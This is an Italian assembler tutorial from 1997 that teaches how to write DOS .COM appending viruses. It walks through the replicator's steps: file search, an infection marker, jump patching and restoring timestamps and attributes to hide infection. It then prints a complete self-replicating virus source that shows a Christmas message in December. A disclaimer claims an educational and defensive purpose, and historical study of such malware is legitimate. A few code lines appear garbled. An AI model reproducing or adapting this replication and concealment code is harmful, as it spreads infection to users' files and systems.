Virus
Questa volta parleremo dei virus, quei simpatici programmini che ti ritrovi per caso sul tuo Hard Disk e che mandano in crisi il tuo
PC.
Ora, tutto quello che spigherò in questo tutorial non deve essere usato per scrivere nuovi e più potenti virus ma
solo per imparare l'arte della programmazione in Assembler e anche per imparare a proteggersi da questo genere di attacchi. Quindi non
mi ritengo responsabile degli eventuali danni che apporterete al vostro computer o a quello dei vostri amici. Stateci attenti.
Vedremo solo virus in grado di infettare i file .COM anche se oggi non se ne trovano più tanti (di file COM!), in particolare
tratterò gli appending viruses, cioè quelli che si agganciano alla fine del file senza distruggerlo.
Un virus è composto principalmente da due parti: il replicatore e la cosiddetta "bomb". Il replicatore è quella
parte del programma virus che permette a quest'ultimo di replicarsi in modo da infettare quanti più file possibile, la bomb è
la parte più divertente ed è quella che svolge l'operazione per cui e stato designato il virus questa va dalla semplice
visualizzazione di un messaggio alla distruzione della FAT area, dipende solo dalla fantasia del programmatore.
IL REPLICATORE
Il compito del replicatore come abbiamo già detto è quello di duplicarsi infettando altri files. Come si può fare?
Consideriamo un pgm (.COM) esso può essere scomposto in 2 parti:
+---+-----------+
|P1 | P2 | vittima.com
+---+-----------+
Anche il virus essendo un pgm può essere cosi diviso:
+---+---------+
|V1 | V2 | virus.com
+---+---------+
I passi che il virus deve eseguire per replicarsi sono i seguenti:
- Il virus salva P1 in fondo al file
vittima.com e al suo posto ci copia V1, avremo la seguente situazione:
+---+------------+---+
|V1 | P2 |P1 |
+---+------------+---+
- Ora il virus copia la seconda parte (V2) in fondo al file:
+---+-------------+---+---------+
|V1 | P2 |P1 | V2 |
+---+-------------+---+---------+
Vi starete chiedendo che ca.. c'è dentro V1 e V2. Il compito di V1 è quello di passare il controllo a V2 e consiste in
un salto, così quando eseguo il programma infetto la prima cosa che si fa è saltare al codice del virus contenuta in V2.
Una volta eseguito V2 il controllo torna al programma. Semplice vero? Beh non proprio. Vediamo meglio quali sono i passi che deve svolgere
il replicatore per infettare un file:
- Cerca il file da infettare
- Controlla se è già infetto
- Se si torna a 1
- Infettalo!!
- Torna a 1 oppure esci se ne hai abbastanza
Vediamole nel dettaglio:
PASSO 1 - Cerco il file da infettare
Si può decidere se cercare i file solo nella directory corrente oppure cambiare dir. per avere più possibilità
di diffondersi. Cercare in più directory può rallentare l'esecuzione del programma al quale è attaccato e può
quindi sollevare sospetti nell'utente, quindi state attenti. Per cercare un file devo ricorrere al DTA (Disk Transfer Area) che
è una struttura del DOS (Andatela a vedere in qualche Tech. Ref.), il codice può essere una cosa del tipo:
mov ah,1Ah ;Prende il DTA e lo mette in
lea dx,[bp+OFFSET DTA] ;una variabile di nome DTA (!!)
int 21h
mov ah,4Eh ;cerca il primo file
mov cx,0007h ;Qualsiasi attributo
lea dx,[bp+OFFSET file_mask] ;DS:[DX] --> file_mask
int 21h
jc non_trovato ;non l'ha trovato
ancora: call controlla_infezione ;guarda se è gia infetto e
;se
non lo è lo infetta
mov ah,4Fh ;cerca il prox
int 21h
jnc ancora
non_trovato:
In questo frammento file_mask può essere "*.* " "*.EXE " o come useremo
noi "*.COM ".
PASSO 2 - Controlla se è già infetto
Un metodo abbastanza semplice per sapere se un file è già infetto o meno è di memorizzare un ID durante l'infezione
in modo da poterlo trovare la volta successiva. Ad esempio:
mov ah,3Fh ;legge i primi 4 byte del file
mov cx,4 ;e li mette in buffer
lea dx,[bp+OFFSET buffer]
int 21h
cmp byte ptr [buffe+3],ID_Byte ;controllo il 4 byte
je gia_fatto ;se sono uguali è già infetto
infettalo:....
Un altro modo più complesso è quello di cercare una serie di istruzioni caratteristiche del virus.
PASSO 3 - Infettalo!!!
Questa è la parte più difficile e importante: il cuore del replicatore. Una volta trovato il file da infettare si devono
salvare i suoi attributi, la data, l'ora e la dimensione. Questi dati si trovano nel DTA come spiegato nella tabella seguente:
Offset |
Dimensione |
Significato |
0h |
21 bytes |
Riservati (?) |
15h |
byte |
Attributi del file |
16h |
word |
ora |
18h |
word |
data |
20h |
dword |
dimensione |
1Eh |
13bytes |
nome (ASCII) + estensione |
Come vedete nel DTA si trovano tutte le info necessarie, e per salvarle basta:
lea si,[bp+OFFSET DTA+15]
mov cx,9
lea di,[bp+OFFSET f_attr]
rep movsb
;varibili:
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
Per poter infettare i file di systema, quelli nascosti ecc... dovete resettare gli attributi tramite l'int 21h, 43h, 01h. Una volta
fatto ciò potete aprire il file in lettura/scrittura ed effettuare l'infezione.
Dopo aver infettato il file (e lo vedremo nel dettaglio con un esempio) è importante cancellare le tracce dell'infezione ripristinando
la data e l'ora e reimpostando gli attributi originali:
mov ax,57,01h
mov dx,WORD PTR [bp+f_date]
mov cx,WORD PTR [bp+f_time]
int 21h ;ripristina data e ora
mov ah,4301h
lea dx,[bp+OFFSET DTA + 1Eh]
xor ch,ch
mov cl,BYTE PTR [bp+f_attrib]
int 21h ;ripristina gli attributi
Al solito per capire meglio il tutto vi presento un semplice programma.
;virus.asm - b0nu$, 1997
;NB - Non mi assumo responsabilità sui danni causati da un uso
;incorretto di questo pgm.
;
;Si attiva solo nel mese di Dicembre e visualizza gli auguri di
;Natale
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 100h ;file .COM
start:
db 0E9h,0,0 ;Salta al prox comando
virus:
call inizio ;Salva l'indirizzo nello stack
inizio:
pop bp ;Setta BP
sub bp,offset inizio
lea si,[bp+offset oldjump] ;Indirizzo vecchio
mov di,100h
;Salvo
dove metterlo
push di ;cosi possiamo ritornare
movsb
movsb
movsb
lea dx,[bp+offset dta] ;Indirizzo del nuovo DTA
mov ah,1ah ;setta il DTA!!
int 21h
lea dx,[bp+offset comfilespec]
call findfirst ;cerca e infetta i file .com
call get_month ;Controlla in che mese siamo
cmp ax,000Ch ;E' 12?
jne skip ;Se no salta gli auguri
jmp short strt ;Si è Dicembre !
skip: jmp dend ;Salta la routine
strt: lea si,[bp + testo] ;SI punta al testo da scrivere
mov ah,0Eh ;Uso l'int 10h,0Eh per stampare
disp: lodsb ;Carico il carattere
or al,al ;Se è 0 è finita
je dend
int 010h ;visualizzo il car
jmp short disp ;prendo il prox carattere
dend:
mov dx,80h ;Indirizzo del DTA originale
;Lo rimetto dov'era
mov ah,1ah ;setta il DTA!!
int 21h
retn ;Ritorno al pgm
findfirst:
mov ah,4eh ;trova il primo file
mov cx,7 ;con questi attributi
findnext:
int 21h ;Trovo il prox
jc quit ;Se non trovo niente smetto
call infection ;Altrimenti infetto
Findnext2:
mov ah,4fh ;Cerco il prox
jmp findnext ;Ciclo
quit:
ret ;stop!
infection:
mov ax,3d00h ;Apro il file in lettura
call open
mov cx,1ah
lea dx,[bp+offset buffer] ;salvo i dati
mov ah,3fh ;Leggo
int 21h
mov ah,3eh ;chiudo il file
int 21h
CheckCom:
mov bx,[bp+offset dta+1ah] ;Prelevo la dimensione
mov cx,word ptr [bp+buffer+1] ;prelevo l'indirizzo del add cx,eof-virus+3
;salto e ci sommo la
;lunghezza del virus
cmp bx,cx ;controllo dimensione
jz quitinfect
jmp infectcom
quitinfect:
ret
InfectCom:
sub bx,3 ;setto per il nuovo salto
lea di,[bp+oldjump]
lea si,[bp+buffer]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ;salvo
mov cx,3 ;numero di byte da
scrivere
jmp finishinfection
FinishInfection:
push cx ;salvo il numero di byte
;da scrivere
xor cx,cx ;azzero attributi
call attributes
mov al,2 ;apro il file in lett/scritt
call open
lea dx,[bp+buffer] ;dx punta ai dati
pop cx ;cx=numero byte
mov ah,40h ;scrivo
int 21h
jc closefile
mov al,02 ;sposto il puntatore in fondo
Call move_fp
mov cx,eof-virus ;dimensione virus
lea dx,[bp+offset virus] ;indirizzo di inizio
mov ah,40h ;scrivo il virus
int 21h
closefile:
mov ax,5701h ;ripristina ora e data
mov dx,word ptr [bp+dta+18h]
mov cx,word ptr [bp+dta+16h] ;sono ne DTA!!
int 21h
mov ah,3eh ;chiudo il file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ;Prendo i vecchi attrib.
call attributes
retn
move_fp:
;muove
il puntatore
xor cx,cx ;del file ad al
xor dx,dx
mov ah,42h
int 21h
retn
open:
lea dx,[bp+DTA+30] ;il nome è nel DTA
mov ah,3dh ;apre il file
int 21h
xchg ax,bx ;bx contine l'handle
ret
attributes:
lea dx,[bp+DTA+30]
mov ax,4301h ;setta gli attrib.
int 21h
ret
get_month proc near
mov ah,02Ah ;Preleva la data
int 021h
mov al,dh ;al=mese
cbw ;estende ad ax
ret
get_month endp
testo db 13,10,13,10,"Boun Natale a tutti !!!",13,10,0
comfilespec db '*.com',0 ;file da cercare
oldjump db 090h,0CDh,020h ;Vecchio jump
eof equ $ ;Segna la fine del file
buffer db 1Ah dup(?)
dta db 42 dup(?)
code ends
end start
Il programma mi sembra già abbastanza commentato quindi non spenderò altro tempo per rispiegarvi cose già dette.
Vi prego ancora una volta di stare attenti a giocare con questi pgm.
|